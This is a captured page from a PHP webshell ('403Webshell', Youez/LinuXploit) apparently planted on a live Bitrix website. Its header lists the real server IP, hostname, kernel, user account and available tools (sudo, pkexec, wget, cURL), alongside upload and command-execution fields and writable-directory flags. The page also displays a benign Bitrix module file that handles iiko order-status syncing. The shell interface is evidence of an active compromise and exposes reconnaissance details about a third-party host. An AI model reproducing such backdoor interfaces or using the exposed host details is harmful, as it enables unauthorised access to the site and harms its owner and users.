403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/grain.iiko/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/grain.iiko/lib/commandstatus.php
<?php

namespace Grain\Iiko;

use \Bitrix\Main\Entity;
use \Bitrix\Main\Type;
use \Bitrix\Main\Localization\Loc;
use \Grain\Iiko\Rest;

Loc::loadMessages(__FILE__);

class CommandStatusTable extends Entity\DataManager
{
	const maxAttempts = 20;
	const maxElements = 50;
	
	/*
	public static function getTableName()
	{
		return 'b_grain_iiko_command_status'; // auto create
	}
	*/

	public static function getUfId()
	{
		return 'GRAIN_IIKO_COMMAND_STATUS';
	}

	/*public static function getConnectionName()
	{
		return 'default';
	}
	*/

	public static function getMap()
	{
		return array(

			new Entity\IntegerField('ID', array(
				'primary' => true,
				'autocomplete' => true
			)),

			new Entity\StringField('ENTITY', array(
				'required' => true,
			)),
			
			new Entity\IntegerField('ENTITY_ID', array(
                'required' => true,
            )),

			new Entity\StringField('ENTITY_EXTERNAL_ID', array(
                'required' => true,
            )),
			
			new Entity\IntegerField('RESTAURANT_ID', array(
				'required' => true,
			)),

			new Entity\StringField('CORRELATION_ID', array(
				'required' => true,
			)),

			new Entity\IntegerField('ATTEMPTS', array(
				'default_value' => 0,
			)),

		);
	}
	
	public static function sync()
	{
		$resultCommandStatus = static::getList(array(
			'order' => array('ID'=>'ASC'),
			'limit' => static::maxElements,
		));
		
		while($row = $resultCommandStatus->fetch())
		{
			$result = Rest::getCommandStatus($row['CORRELATION_ID'],$row['RESTAURANT_ID']);

			switch($row['ENTITY'])
			{
			
				case 'ORDER':
					
					$order = \Bitrix\Sale\Order::load($row['ENTITY_ID']);
					if(!$order)
						continue;
					
					if(isset($result['result']['state']) && $result['result']['state']=='InProgress')
					{
						$attempts = $row['ATTEMPTS']+1;
						if($attempts>static::maxAttempts)
						{
							static::delete($row['ID']);
							\Grain\Iiko\Order::setAdditionalInfoField('sendStatus','FinalInProgress',$order);
							$order->save();					
						}
						else
						{
							static::update($row['ID'],array(
								'ATTEMPTS' => $attempts,
							));
						}
					}
					elseif(isset($result['result']['state']) && $result['result']['state']=='Success')
					{
						\CEventLog::Add(array(
							"SEVERITY" => "CUSTOM",
							"AUDIT_TYPE_ID" => "GRAIN_IIKO_ORDER_SUCCESS",
							"MODULE_ID" => "grain.iiko",
							"ITEM_ID" => $row['ENTITY_ID'],
							"DESCRIPTION" => "Command status: ".$result['result']['state'],
						));
						\Grain\Iiko\Order::setAdditionalInfoField('sendStatus','FinalSuccess',$order);
						$order->save();
						static::delete($row['ID']);
					}
					elseif(isset($result['result']) && !isset($result['error']))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "CUSTOM",
							"AUDIT_TYPE_ID" => "GRAIN_IIKO_ORDER_ERROR",
							"MODULE_ID" => "grain.iiko",
							"ITEM_ID" => $row['ENTITY_ID'],
							"DESCRIPTION" => "Command status: ".print_r($result['result'],true),
						));
						\Grain\Iiko\Order::setAdditionalInfoField('sendStatus','FinalError',$order);
						$order->save();						
					}
					elseif(isset($result['error']))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "CUSTOM",
							"AUDIT_TYPE_ID" => "GRAIN_IIKO_ORDER_ERROR",
							"MODULE_ID" => "grain.iiko",
							"ITEM_ID" => $row['ENTITY_ID'],
							"DESCRIPTION" => "Command status: ".$result['error'],
						));
						\Grain\Iiko\Order::setAdditionalInfoField('sendStatus','FinalError',$order);
						$order->save();		
						static::delete($row['ID']);
					}
					
					break;
		
			}
		}
		
		return '\\'.__METHOD__.'();';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit